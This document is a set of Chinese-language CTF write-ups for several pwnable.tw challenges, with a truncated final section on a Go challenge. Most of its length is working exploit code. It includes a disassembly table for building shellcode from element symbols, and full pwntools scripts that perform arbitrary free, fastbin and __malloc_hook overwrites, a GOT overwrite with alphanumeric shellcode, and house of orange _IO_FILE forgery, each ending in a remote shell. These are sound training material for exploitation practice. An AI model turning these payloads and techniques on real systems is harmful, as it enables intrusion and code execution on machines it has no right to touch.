题目分析

究极丧心病狂的题,只能使用元素周期表组合以及数字填充进行shellcode构造。顺带一提,题目名字二氧化锰的来由是写入shellcode的固定地址转ascii转译后的结果。

可用指令分析:

H
   0:   48                      dec    eax
He
   0:   48                      dec    eax
   1:   65                      gs
Li
   0:   4c                      dec    esp
   1:   69                      .byte 0x69
Be
   0:   42                      inc    edx
   1:   65                      gs
B
   0:   42                      inc    edx
C
   0:   43                      inc    ebx
N
   0:   4e                      dec    esi
O
   0:   4f                      dec    edi
F
   0:   46                      inc    esi
Ne
   0:   4e                      dec    esi
   1:   65                      gs
Na
   0:   4e                      dec    esi
   1:   61                      popa
Mg
   0:   4d                      dec    ebp
   1:   67                      addr16
Al
   0:   41                      inc    ecx
   1:   6c                      ins    BYTE PTR es:[edi],dx
Si
   0:   53                      push   ebx
   1:   69                      .byte 0x69
P
   0:   50                      push   eax
S
   0:   53                      push   ebx
Cl
   0:   43                      inc    ebx
   1:   6c                      ins    BYTE PTR es:[edi],dx
Ar
   0:   41                      inc    ecx
   1:   72                      .byte 0x72
K
   0:   4b                      dec    ebx
Ca
   0:   43                      inc    ebx
   1:   61                      popa
Sc
   0:   53                      push   ebx
   1:   63                      .byte 0x63
Ti
   0:   54                      push   esp
   1:   69                      .byte 0x69
V
   0:   56                      push   esi
Cr
   0:   43                      inc    ebx
   1:   72                      .byte 0x72
Mn
   0:   4d                      dec    ebp
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Fe
   0:   46                      inc    esi
   1:   65                      gs
Co
   0:   43                      inc    ebx
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
Ni
   0:   4e                      dec    esi
   1:   69                      .byte 0x69
Cu
   0:   43                      inc    ebx
   1:   75                      .byte 0x75
Zn
   0:   5a                      pop    edx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Ga
   0:   47                      inc    edi
   1:   61                      popa
Ge
   0:   47                      inc    edi
   1:   65                      gs
As
   0:   41                      inc    ecx
   1:   73                      .byte 0x73
Se
   0:   53                      push   ebx
   1:   65                      gs
Br
   0:   42                      inc    edx
   1:   72                      .byte 0x72
Kr
   0:   4b                      dec    ebx
   1:   72                      .byte 0x72
Rb
   0:   52                      push   edx
   1:   62                      .byte 0x62
Sr
   0:   53                      push   ebx
   1:   72                      .byte 0x72
Y
   0:   59                      pop    ecx
Zr
   0:   5a                      pop    edx
   1:   72                      .byte 0x72
Nb
   0:   4e                      dec    esi
   1:   62                      .byte 0x62
Mo
   0:   4d                      dec    ebp
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
Tc
   0:   54                      push   esp
   1:   63                      .byte 0x63
Ru
   0:   52                      push   edx
   1:   75                      .byte 0x75
Rh
   0:   52                      push   edx
   1:   68                      .byte 0x68
Pd
   0:   50                      push   eax
   1:   64                      fs
Ag
   0:   41                      inc    ecx
   1:   67                      addr16
Cd
   0:   43                      inc    ebx
   1:   64                      fs
In
   0:   49                      dec    ecx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Sn
   0:   53                      push   ebx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Sb
   0:   53                      push   ebx
   1:   62                      .byte 0x62
Te
   0:   54                      push   esp
   1:   65                      gs
I
   0:   49                      dec    ecx
Xe
   0:   58                      pop    eax
   1:   65                      gs
Cs
   0:   43                      inc    ebx
   1:   73                      .byte 0x73
Ba
   0:   42                      inc    edx
   1:   61                      popa
La
   0:   4c                      dec    esp
   1:   61                      popa
Ce
   0:   43                      inc    ebx
   1:   65                      gs
Pr
   0:   50                      push   eax
   1:   72                      .byte 0x72
Nd
   0:   4e                      dec    esi
   1:   64                      fs
Pm
   0:   50                      push   eax
   1:   6d                      ins    DWORD PTR es:[edi],dx
Sm
   0:   53                      push   ebx
   1:   6d                      ins    DWORD PTR es:[edi],dx
Eu
   0:   45                      inc    ebp
   1:   75                      .byte 0x75
Gd
   0:   47                      inc    edi
   1:   64                      fs
Tb
   0:   54                      push   esp
   1:   62                      .byte 0x62
Dy
   0:   44                      inc    esp
   1:   79                      .byte 0x79
Ho
   0:   48                      dec    eax
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
Er
   0:   45                      inc    ebp
   1:   72                      .byte 0x72
Tm
   0:   54                      push   esp
   1:   6d                      ins    DWORD PTR es:[edi],dx
Yb
   0:   59                      pop    ecx
   1:   62                      .byte 0x62
Lu
   0:   4c                      dec    esp
   1:   75                      .byte 0x75
Hf
   0:   48                      dec    eax
   1:   66                      data16
Ta
   0:   54                      push   esp
   1:   61                      popa
W
   0:   57                      push   edi
Re
   0:   52                      push   edx
   1:   65                      gs
Os
   0:   4f                      dec    edi
   1:   73                      .byte 0x73
Ir
   0:   49                      dec    ecx
   1:   72                      .byte 0x72
Pt
   0:   50                      push   eax
   1:   74                      .byte 0x74
Au
   0:   41                      inc    ecx
   1:   75                      .byte 0x75
Hg
   0:   48                      dec    eax
   1:   67                      addr16
Tl
   0:   54                      push   esp
   1:   6c                      ins    BYTE PTR es:[edi],dx
Pb
   0:   50                      push   eax
   1:   62                      .byte 0x62
Bi
   0:   42                      inc    edx
   1:   69                      .byte 0x69
Po
   0:   50                      push   eax
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
At
   0:   41                      inc    ecx
   1:   74                      .byte 0x74
Rn
   0:   52                      push   edx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Fr
   0:   46                      inc    esi
   1:   72                      .byte 0x72
Ra
   0:   52                      push   edx
   1:   61                      popa
Ac
   0:   41                      inc    ecx
   1:   63                      .byte 0x63
Th
   0:   54                      push   esp  
   1:   68                      .byte 0x68  //free push
Pa
   0:   50                      push   eax
   1:   61                      popa
U
   0:   55                      push   ebp
Np
   0:   4e                      dec    esi
   1:   70                      .byte 0x70
Pu
   0:   50                      push   eax
   1:   75                      .byte 0x75
Am
   0:   41                      inc    ecx
   1:   6d                      ins    DWORD PTR es:[edi],dx
Cm
   0:   43                      inc    ebx
   1:   6d                      ins    DWORD PTR es:[edi],dx
Bk
   0:   42                      inc    edx
   1:   6b                      .byte 0x6b
Cf
   0:   43                      inc    ebx
   1:   66                      data16
Es
   0:   45                      inc    ebp
   1:   73                      .byte 0x73
Fm
   0:   46                      inc    esi
   1:   6d                      ins    DWORD PTR es:[edi],dx
Md
   0:   4d                      dec    ebp
   1:   64                      fs
No
   0:   4e                      dec    esi
   1:   6f                      outs   dx,DWORD PTR ds:[esi]
Lr
   0:   4c                      dec    esp
   1:   72                      .byte 0x72
Rf
   0:   52                      push   edx
   1:   66                      data16
Db
   0:   44                      inc    esp
   1:   62                      .byte 0x62
Sg
   0:   53                      push   ebx
   1:   67                      addr16
Bh
   0:   42                      inc    edx
   1:   68                      .byte 0x68
Hs
   0:   48                      dec    eax
   1:   73                      .byte 0x73
Mt
   0:   4d                      dec    ebp
   1:   74                      .byte 0x74
Ds
   0:   44                      inc    esp
   1:   73                      .byte 0x73
Rg
   0:   52                      push   edx
   1:   67                      addr16
Cn
   0:   43                      inc    ebx
   1:   6e                      outs   dx,BYTE PTR ds:[esi]
Fl
   0:   46                      inc    esi
   1:   6c                      ins    BYTE PTR es:[edi],dx
Lv
   0:   4c                      dec    esp
   1:   76                      .byte 0x76
11
   0:   31 31                   xor    DWORD PTR [ecx],esi
12
   0:   31 32                   xor    DWORD PTR [edx],esi
13
   0:   31 33                   xor    DWORD PTR [ebx],esi
14
   0:   31                      .byte 0x31
   1:   34                      .byte 0x34
15
   0:   31                      .byte 0x31
   1:   35                      .byte 0x35
16
   0:   31 36                   xor    DWORD PTR [esi],esi
17
   0:   31 37                   xor    DWORD PTR [edi],esi
18
   0:   31 38                   xor    DWORD PTR [eax],edi
19
   0:   31 39                   xor    DWORD PTR [ecx],edi
10
   0:   31 30                   xor    DWORD PTR [eax],esi
21
   0:   32 31                   xor    dh,BYTE PTR [ecx]
22
   0:   32 32                   xor    dh,BYTE PTR [edx]
23
   0:   32 33                   xor    dh,BYTE PTR [ebx]
24
   0:   32                      .byte 0x32
   1:   34                      .byte 0x34
25
   0:   32                      .byte 0x32
   1:   35                      .byte 0x35
   0:   32 36                   xor    dh,BYTE PTR [esi]
27
   0:   32 37                   xor    dh,BYTE PTR [edi]
28
   0:   32 38                   xor    bh,BYTE PTR [eax]
29
   0:   32 39                   xor    bh,BYTE PTR [ecx]
20
   0:   32 30                   xor    dh,BYTE PTR [eax]
31
   0:   33 31                   xor    esi,DWORD PTR [ecx]
32
   0:   33 32                   xor    esi,DWORD PTR [edx]
33
   0:   33 33                   xor    esi,DWORD PTR [ebx]
34
   0:   33                      .byte 0x33
   1:   34                      .byte 0x34
35
   0:   33                      .byte 0x33
   1:   35                      .byte 0x35
36
   0:   33 36                   xor    esi,DWORD PTR [esi]
37
   0:   33 37                   xor    esi,DWORD PTR [edi]
38
   0:   33 38                   xor    edi,DWORD PTR [eax]
39
   0:   33 39                   xor    edi,DWORD PTR [ecx]
30
   0:   33 30                   xor    esi,DWORD PTR [eax]
41
   0:   34 31                   xor    al,0x31
42
   0:   34 32                   xor    al,0x32
43
   0:   34 33                   xor    al,0x33
44
   0:   34 34                   xor    al,0x34
45
   0:   34 35                   xor    al,0x35
46
   0:   34 36                   xor    al,0x36
47
   0:   34 37                   xor    al,0x37
48
   0:   34 38                   xor    al,0x38
49
   0:   34 39                   xor    al,0x39
40
   0:   34 30                   xor    al,0x30
51
   0:   35                      .byte 0x35
   1:   31                      .byte 0x31
52
   0:   35                      .byte 0x35
   1:   32                      .byte 0x32
53
   0:   35                      .byte 0x35
   1:   33                      .byte 0x33
54
   0:   35                      .byte 0x35
   1:   34                      .byte 0x34
55
   0:   35                      .byte 0x35
   1:   35                      .byte 0x35
56
   0:   35                      .byte 0x35
   1:   36                      ss
57
   0:   35                      .byte 0x35
   1:   37                      aaa
58
   0:   35                      .byte 0x35
   1:   38                      .byte 0x38
59
   0:   35                      .byte 0x35
   1:   39                      .byte 0x39
50
   0:   35                      .byte 0x35
   1:   30                      .byte 0x30
61
   0:   36                      ss
   1:   31                      .byte 0x31
62
   0:   36                      ss
   1:   32                      .byte 0x32
63
   0:   36                      ss
   1:   33                      .byte 0x33
64
   0:   36                      ss
   1:   34                      .byte 0x34
65
   0:   36                      ss
   1:   35                      .byte 0x35
66
   0:   36                      ss
   1:   36                      ss
67
   0:   36 37                   ss aaa
68
   0:   36                      ss
   1:   38                      .byte 0x38
69
   0:   36                      ss
   1:   39                      .byte 0x39
60
   0:   36                      ss
   1:   30                      .byte 0x30
71
   0:   37                      aaa    
   1:   31                      .byte 0x31
72
   0:   37                      aaa    
   1:   32                      .byte 0x32
73
   0:   37                      aaa    
   1:   33                      .byte 0x33
74
   0:   37                      aaa    
   1:   34                      .byte 0x34
75
   0:   37                      aaa    
   1:   35                      .byte 0x35
76
   0:   37                      aaa    
   1:   36                      ss
77
   0:   37                      aaa    
   1:   37                      aaa
78
   0:   37                      aaa    
   1:   38                      .byte 0x38
79
   0:   37                      aaa    
   1:   39                      .byte 0x39
70
   0:   37                      aaa    
   1:   30                      .byte 0x30
81
   0:   38 31                   cmp    BYTE PTR [ecx],dh
82
   0:   38 32                   cmp    BYTE PTR [edx],dh
83
   0:   38 33                   cmp    BYTE PTR [ebx],dh
84
   0:   38                      .byte 0x38
   1:   34                      .byte 0x34
85
   0:   38                      .byte 0x38
   1:   35                      .byte 0x35
86
   0:   38 36                   cmp    BYTE PTR [esi],dh
87
   0:   38 37                   cmp    BYTE PTR [edi],dh
88
   0:   38 38                   cmp    BYTE PTR [eax],bh
89
   0:   38 39                   cmp    BYTE PTR [ecx],bh
80
   0:   38 30                   cmp    BYTE PTR [eax],dh
91
   0:   39 31                   cmp    DWORD PTR [ecx],esi
92
   0:   39 32                   cmp    DWORD PTR [edx],esi
93
   0:   39 33                   cmp    DWORD PTR [ebx],esi
94
   0:   39                      .byte 0x39
   1:   34                      .byte 0x34
95
   0:   39                      .byte 0x39
   1:   35                      .byte 0x35
96
   0:   39 36                   cmp    DWORD PTR [esi],esi
97
   0:   39 37                   cmp    DWORD PTR [edi],esi
98
   0:   39 38                   cmp    DWORD PTR [eax],edi
99
   0:   39 39                   cmp    DWORD PTR [ecx],edi
90
   0:   39 30                   cmp    DWORD PTR [eax],esi
01
   0:   30 31                   xor    BYTE PTR [ecx],dh
02
   0:   30 32                   xor    BYTE PTR [edx],dh
03
   0:   30 33                   xor    BYTE PTR [ebx],dh
04
   0:   30                      .byte 0x30
   1:   34                      .byte 0x34
05
   0:   30                      .byte 0x30
   1:   35                      .byte 0x35
06
   0:   30 36                   xor    BYTE PTR [esi],dh
07
   0:   30 37                   xor    BYTE PTR [edi],dh
08
   0:   30 38                   xor    BYTE PTR [eax],bh
09
   0:   30 39                   xor    BYTE PTR [ecx],bh
00
   0:   30 30                   xor    BYTE PTR [eax],dh

主要思路:

  • 把eax赋值为esp,然后向栈中写入esi/edi的值,以便借助异或清空esi/edi
  • 借助Thxxxx这样的push语句和可以pop ecx的语句将ecx指向末位用于制造int 0x80的位置
  • 移动ecx的指针,同时修改esi/edi,借助异或语句制造出int 0x80(至于用什么值异或可以另外写个脚本fuzz以下,可选的对象还是挺多的)
  • esi值得改变通过inc/dec完成,可能会占掉很长一段,需要合理安排
  • 调用到SYS_read之后向最末尾读入可以直接getshell的shellcode(需要提前安排好ecx的位置)

EXP:

from pwn import *

#p = process("./mno2")
p = remote('chall.pwnable.tw','10301')
elf = ELF("./mno2")

context.log_level = "debug"

'''
reg status:
 EAX  0x324f6e4d ◂— dec    eax /* 0x484848; 'HHH' */ shellcode start
 EBX  0x0
 ECX  0x0
 EDX  0x8048890 ◂— dec    eax /* 'H' */
 EDI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 EBP  0xffffcf18 ◂— 0x0
 ESP  0xffffcedc —▸ 0x80487ea (main+169) ◂— mov    dword ptr [esp], 0
 EIP  0x324f6e4d ◂— dec    eax /* 0x484848; 'HHH' */
'''

'''
target status1:
eax = 11
ebx -> '/bin/sh' 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68
ecx = 0
edx = 0
int 0x80 b'\xcd\x80'
'''
'''
target status2:
eax = 3
ebx =0
ecx = addr(end_of_shellcode)
edx = (big num)
int 0x80 b'\xcd\x80'
'''

shellcode = b"V"   #push esi;
shellcode += b"Th1111"  #push esp; push 0x33333333;
shellcode += b"XeXe"    #pop eax;#pop eax;
shellcode += b"ThMoO2"  #push esp; push 0x324f6e4d(shellcode start)
shellcode += b"30"  #xor esi,DWORD PTR [eax];
shellcode += b"38"  #xor edi,DWORD PTR [eax];
shellcode += b"Y"   #pop ecx;
shellcode += b"O"   #dec edi;
shellcode += b"19"  #xor    DWORD PTR [ecx],edi
shellcode += b"Ag"*1  #inc ecx;addr16;
shellcode += b"F"*0x46  #inc esi;
shellcode += b"11"  #xor    DWORD PTR [ecx],esi
shellcode += b"Ag"*1  #inc ecx;addr16; new shellcode start
shellcode += b"V"   #push esi;
shellcode += b"Xe"  #pop eax;
shellcode += b"Th1111"  #pad;
shellcode += b"Hg"*0x43  #dec eax;
shellcode += b"B"*(0x100-len(shellcode))
shellcode += b"29"


def exp():
    #gdb.attach(p, "b *0x80487E8\nc\n")
    p.sendline(shellcode)
    p.sendline(asm(shellcraft.sh()))
    p.interactive()

if __name__ == "__main__":
   exp()

漏洞点:

  • 虽然给了源码但是漏洞得看二进制文件才能看出,结合flag,这是C++运算符重载相关的漏洞
  • edit的时候存在栈复用,可以任意指针free

漏洞原理:

  • 正常运算符重载的写法(这里只讨论写为成员函数)需要在成员函数末尾return *this,同时返回值需要为当前对象类型的引用类型,这个返回值会作为其他运算的右值,如a = b = c,为了保证程序正常,这个值必须要存在。
  • 如果不主动写return *this,g++在编译的时候,会把返回值指针指向栈上一段同类型大小的空内存(填充为null),把这段空内存作为右值(隐式的return)然后析构这段内存。析构时遇到对象指针会先判断是否为空再执行delete
  • 但是空内存可以借助栈复用进行修改,构造出我们自定义的指针,这样在析构函数中如果有对某些指针域的delete,就可以构造出任意地址free

利用思路:

  • 难点在第一步的leak heap。通过在bss上构造fakechunk和自定义指针freebss上的chunk,然后借助一个非法size值跳过最后的析构避免doublefree,这样可以在不触发0截断时输出free过chunk上的fd值。具体细节,其实挺复杂,只可意会不可言传。
  • leak heap之后修改堆上对象内存指针指向保存了libc地址的位置,调用info成员函数leak libc
  • 最后打__malloc_hook(需要__realloc_hook间接补全栈条件)

EXP

from pwn import *

#p = process("./caov")
p = remote("chall.pwnable.tw", 10306)
elf = ELF("./caov")
libc = ELF("./libc_64.so.6")
#libc = ELF("./libc.so.6")

context.log_level = "debug"

def show():
    p.recvuntil("Your choice: ")
    p.sendline(b"1")

def edit(name, key_len:int, key, value):
    p.recvuntil("Your choice: ")
    p.sendline(b"2")
    p.recvuntil("Enter your name: ")
    p.sendline(name)
    p.recvuntil("New key length: ") 
    p.sendline(str(key_len).encode())
    if key_len > 1000:
        return
    p.recvuntil("Key: ")
    p.sendline(key)
    p.recvuntil("Value: ")
    p.sendline(str(value).encode())

def go_exit():
    p.recvuntil("Your choice: ")
    p.sendline(b"3")

def exp():
    #const
    bss_name = 0x6032C0
    fake_chunk = 0x6032a0 + 0x2 - 0x8
    one_local = [0x45226, 0x4527a, 0xf0364, 0xf1207]
    one_remote = [0x45216, 0x4526a, 0xef6c4, 0xf0567]
    read_got = 0x602F40

    #init
    init_name = b"eqqie"
    init_key = b"\x00"*0x30
    init_value = str(0xdeadbeef).encode()
    p.recvuntil("Enter your name: ")
    p.sendline(init_name)
    p.recvuntil("Please input a key: ")
    p.sendline(init_key)
    p.recvuntil("Please input a value: ")
    p.sendline(init_value)

    #leak heap

    #gdb.attach(p, "b *0x4014c2\nb *0x4014f5\nb *0x401563\nc\n")
    #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
    payload1 = p64(0)+p64(0x20)+b"DDDDDDDD"
    payload1 = payload1.ljust(0x20, b"A")
    payload1 += p64(0x20) + p64(0x20)
    payload1 = payload1.ljust(0x60, b"A")
    payload1 += p64(bss_name+0x10)
    edit(payload1, 20, b"A"*20, 0xdeadbeef)

    payload2 = p64(0)+p64(0x41)+p64(0)
    payload2 = payload2.ljust(0x40, b"A")
    payload2 += p64(0x00) + p64(0x20)
    payload2 = payload2.ljust(0x60, b"A")
    payload2 += p64(bss_name+0x10)
    edit(payload2, 1020, b"1", 0xdeadbeef)

    p.recvuntil(b"Key: ")
    p.recvuntil(b"Key: ")
    heap_leak = u64(p.recv(3).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x11c90
    data_obj = heap_base + 0x11ce0 - 0x10
    heap_with_libc = heap_base + 0x11e30
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    print("data_obj:", hex(data_obj))
    print("heap_with_libc:", hex(heap_with_libc))
    #gdb.attach(p)

    # get obj chunk && leak libc
    #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
    payload3 = p64(0)
    payload3 = payload3.ljust(0x60, b"B")
    payload3 += p64(data_obj+0x10)
    edit(payload3, 0x30, p64(read_got), 0xdeadbeef)
    show()
    p.recvuntil(b"Key: ")
    libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - libc.symbols[b"read"]
    one_gadget = libc_base + one_remote[1]
    malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
    fake_chunk = malloc_hook - 0x23
    realloc = libc_base + libc.symbols[b"realloc"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("one_gadget:", hex(one_gadget))
    print("malloc_hook:", hex(malloc_hook))
    print("fake_chunk:", hex(fake_chunk))

    # get malloc_hook
    ## fakebin akkack
    payload4 = p64(0) + p64(0x71)
    payload4 = payload4.ljust(0x60, b"A")
    payload4 += p64(bss_name+0x10)
    payload4 = payload4.ljust(0x70, b"A")
    payload4 += p64(0x70) + p64(0x21)
    edit(payload4, 1020, b"1", 0xdeadbeef)

    ## fake fd
    payload5 = p64(0) + p64(0x71)
    payload5 += p64(fake_chunk)
    edit(payload5, 1020, b"1", 0xdeadbeef)

    ## get fake chunk
    edit(p64(0) + b"\x71", 0x60, b"1", 0xdeadbeef)
    #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
    edit(b"eqqie", 0x60, b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc), 0xdeadbeef)

    p.sendline("cat /home/*/flag")
    p.interactive()


if __name__ == "__main__":
    exp()

漏洞利用

程序Heap内存区域有执行权限,并且Add功能存在下标溢出。当使用负数下标时可以覆盖got表项指针指向堆内存,从而执行自定义shellcode。但是堆块输入限制非常大,只有8个字节,而且要求全为大小写字母或数字。也就是说需要用多个堆块借助拼接构造shellcode。

为了简化利用,先构造调用SYS_read的shellcoed,然后借助它往堆上读执行execve("/bin/sh", NULL, NULL)的系统调用来getshell。

主要难点

  1. 构造为全为大小写字母或数字的shellcode,这个思路网上很多,主要都是利用push, pop, xor, dec, jne之类的指令进行构造(注意xor的时候一般使用al寄存器)

  2. 使用jne指令连接多个块,jne的操作数是相对值,即目标指令相对于下一条指令的偏移,所以要考虑好两段shellcode中间间隔堆块的数量以便操作数在合法范围内。

  3. 通过减法+异或构造出int 0x80指令(技巧性很强)。

EXP

from pwn import *

#p = process("./alive_note")
p = remote("chall.pwnable.tw", 10300)
elf = ELF("./alive_note")
context.log_level = "debug"
context.arch = "i386"

free_offset = -27

#free reg info
'''
 EAX  0x804b018 ◂— 'bbbb' (free arg)
 EBX  0x0
 ECX  0x0
 EDX  0x0
 EDI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x2d /* 0x1b2db0 */
 ESI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x2d /* 0x1b2db0 */
 EBP  0xffffcee8 —▸ 0xffffcef8 ◂— 0x0
 ESP  0xffffcebc —▸ 0x80488ef (del_note+81) ◂— add    esp, 0x10
 EIP  0x804b008 ◂— 'aaaa' (code)
'''

def get_alpha_shellcode(raw):
    with open("./alpha3/raw.in", "wb") as r:
        r.write(asm(raw))
    os.system('cd alpha3;python ALPHA3.py x86 ascii rax --input="raw.in" > alpha.out')
    res = b""
    with open("./alpha3/alpha.out", "rb") as a:
        res = a.read()
    return res

def add(idx:int, name):
    p.recvuntil(b"Your choice :")
    p.sendline(b"1")
    p.recvuntil(b"Index :")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Name :")
    p.sendline(name)

def show(idx:int):
    p.recvuntil(b"Your choice :")
    p.sendline(b"2")
    p.recvuntil(b"Index :")
    p.sendline(str(idx).encode())

def delete(idx:int):
    p.recvuntil(b"Your choice :")
    p.sendline(b"3")
    p.recvuntil(b"Index :")
    p.sendline(str(idx).encode())

def chunk_pad(num):
    for i in range(num):
        add(10, b"aaaaaaa")

def exp():
    #build shellcode
    ## call SYS_read to read execve shellcode

    ### PYjzZu9
    part1 = '''
    push eax
    pop ecx
    push 0x7a
    pop edx
    '''
    part1 = asm(part1) + b"\x75\x39"
    add(-27, part1)
    chunk_pad(3)

    ### SXH0AAu8
    part2 = '''
    push ebx
    pop eax
    dec eax
    xor BYTE PTR [ecx+0x41], al
    '''
    part2 = asm(part2) + b"\x75\x38"
    add(0, part2)
    chunk_pad(3)

    ### 490ABSu8
    part3 = '''
    xor al, 0x39
    xor BYTE PTR [ecx+0x42], al
    push ebx
    '''
    part3 = asm(part3) + b"\x75\x38"
    add(0, part3)
    chunk_pad(3)

    ### Xj3X40u9
    part4 = '''
    pop eax
    push 0x33
    pop eax
    xor al, 0x30
    '''
    part4 = asm(part4) + b"\x75\x39"
    add(1, part4)
    chunk_pad(3)

    ### 02F
    part5 = b"\x30\x32\x46"
    add(2, part5)

    #gdb.attach(p, "b *0x804b008\nb *0x804b10b\nc\n")
    delete(1)

    ## write shellcode to run next
    shellcode = asm(shellcraft.sh())
    payload = b"a"*0x43 + shellcode
    p.sendline(payload)

    # getshell
    p.interactive()

if __name__ == "__main__":
    exp()

思路:

  1. Autor未设置截断导致heap泄露,strlen重设长度时包含下一个chunk的size导致溢出;
  2. 进行house of orange释放原先的topchunk进入unsortedbin(进入过程可以借助scanf中malloc分配缓冲区来完成),以此可以泄露libc;
  3. (关键)unsortedbin attack攻击IO_list_all,使其的指针指向main_arena+0x58,然后以此为IO_FILE结构体,再通过struct _IO_FILE *_chain域指向堆上的unsortedbin位置;
  4. 只要提前在unsortedbin位置伪造好IO_FILE结构体和vtable就可以借助_IO_flush_all_lockp(在触发malloc_printerr时会被调用)调用system("/bin/sh\x00")来getshell.

分析历程

这里有个很操蛋的地方卡了很久...开始一直弄不明白unsortedbin attack修改掉IO_list_all之后如何构造struct _IO_FILE *_chain指向堆上我们伪造的结构。分析发现如果把main_arena+0x58看作结构体,则对应smallbin[4](0x60)的索引位置,也就是只要有一个0x60的smallbin被free就可以构成链表。

但是想了很久还是不明白如何让unsortedbin进入这个位置...又翻了好久的源代码发现在尝试对unsortedbin进行分割前,其中一个判断条件要满足的是:bck == unsorted_chunks (av),而bck = victim->bk 。换句话说,只要unsorted chunk中的bk指针被修改掉之后,一定不会满足这个判断,也就一定不会进入分割unsorted chunk的过程。如果我们提前借助堆溢出修改unsorted chunk大小为0x61,则在下次分配一个0x10的堆块时就会进入下面把unsorted chunk置入smallbin的分支过程,这一举动刚好使得smallbin[4](0x60)的索引位置出现了原先unsorted chunk的指针。加上一定的构造之后(相关限制条件可以看ctfwiki)就可以通过触发报错拿shell了。

总结一下就是:在bk指针被破坏之后,原本可能发生的unsorted chunk分割条件无法满足,而是直接把整个unsorted chunk置入smallbin对应位置(注意不是fastbin,不能只看大小,要看程序流)。这些细节勿略掉可能会在很浅显的地方翻车。

EXP:

from pwn import *

#p = process("./bookwriter", env = {"LD_PRELOAD":"./libc.so.6"})
p = remote("chall.pwnable.tw", 10304)
elf = ELF("./bookwriter")
libc = ELF("./libc_64.so.6")
context.log_level = "debug"

def send_choice(idx:int):
    p.recvuntil(b"Your choice :")
    p.sendline(str(idx).encode())

def add(size, content):
    send_choice(1)
    p.recvuntil(b"Size of page :")
    p.sendline(str(size).encode())
    p.recvuntil(b"Content :")
    p.send(content)

def view(idx:int):
    send_choice(2)
    p.recvuntil(b"Index of page :")
    p.sendline(str(idx).encode())

def edit(idx:int, content):
    send_choice(3)
    p.recvuntil(b"Index of page :")
    p.sendline(str(idx).encode())
    p.recvuntil(b"Content:")
    p.send(content)

def info(new_author=None):
    send_choice(4)
    p.recvuntil(b"(yes:1 / no:0)")
    if new_author != None:
        p.sendline(b"1")
        p.recvuntil(b"Author :")
        p.send(new_author)
    else:
        p.sendline(b"0")

def go_exit():
    send_choice(5)

def exp():
    # const
    bss_author = 0x602060
    bss_catalog = 0x6020a0
    bss_sizelist = 0x6020e0

    # set author
    author = b"a"*(0x40-0x2) + b"||"
    p.recvuntil(b"Author :")
    p.send(author)

    # leak libc && heap
    add(0x18, b"aaa") #0

    ## leak libc
    edit(0, b"a"*0x18)
    edit(0, b"a"*0x18+b"\xe1\x0f\x00") #modify size of top_chunk
    info() # call printf to malloc(0x1000) && get unsortedbin
    add(0x78, b"aaaaaaaa") #1
    view(1) #leak address preserved

    p.recvuntil(b"Content :\naaaaaaaa")
    libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    libc_base = libc_leak - 0x3c4188
    system = libc_base + libc.symbols[b"system"]
    stdout = libc_base + 0x3c5620
    io_list_all = libc_base + libc.symbols[b"_IO_list_all"]
    print("libc_leak:", hex(libc_leak))
    print("libc_base:", hex(libc_base))
    print("stdout:", hex(stdout))
    print("io_list_all:", hex(io_list_all))

    ## leak heap
    send_choice(4) #info
    p.recvuntil(b"||")
    heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
    heap_base = heap_leak - 0x10
    print("heap_leak:", hex(heap_leak))
    print("heap_base:", hex(heap_base))
    p.sendafter(b"(yes:1 / no:0)", b"0\n")

    chunk1_addr = heap_base + 0x20 
    print("chunk1_addr:", hex(chunk1_addr))

    edit(0, b"\n") #set size[0]=0
    for i in range(7):
        add(0x58, b"bbbb")

    ## unsortedbin attack
    pad = b"a"*0x330
    ## build fake _IO_FILE and vtable
    data = b'/bin/sh\x00'
    data += p64(0x61)
    data += p64(0xdeadbeef)
    data += p64(libc_base + libc.symbols[b'_IO_list_all'] - 0x10)
    data += p64(2)
    data += p64(3)
    data = data.ljust(0xc0, b'\x00')
    data + p64(0xffffffffffffffff)
    data = data.ljust(0xe0-8, b'\x00')
    vtable = p64(0) * 3 + p64(libc_base + libc.symbols[b'system'])
    vtable_addr = heap_base + 0x420
    data += p64(vtable_addr)
    data += vtable
    edit(0, pad+data)
    edit(0, b"\n") #set size[0]=0

    send_choice(1)
    p.recvuntil(b"Size of page :")
    p.sendline(b"16")

    #gdb.attach(p)

    p.interactive()

if __name__ == "__main__":
    exp()

一道google题

golang相关

一些特性

  • golang默认是静态编译,而且系统ASLR不作用在goroutine自己实现和维护的栈上。从这题上看,main调用了hack,所以对hack的改动不会影响main中数据在栈上的偏移。只要先在本地计算出hack第一个变量和flag之间的偏移,就可以计算出远程环境中flag在栈上的位置。
  • goroutine的模型大概如下(知乎看到的):

    • goroutine与系统线程模型
    • M是系统线程,P是上下文,G是一个goroutine。具体实现请移步:https://www.zhihu.com/question/20862617
    • 创建goroutine很容易,只需要go function_name()即可
  • 题目不允许import包,但是builtin包中有println可以用来打印信息(打印变量地址或值)

go中的数据结构

实现本题要用到的数据结构不多,只介绍go中常用于data race的数据结构

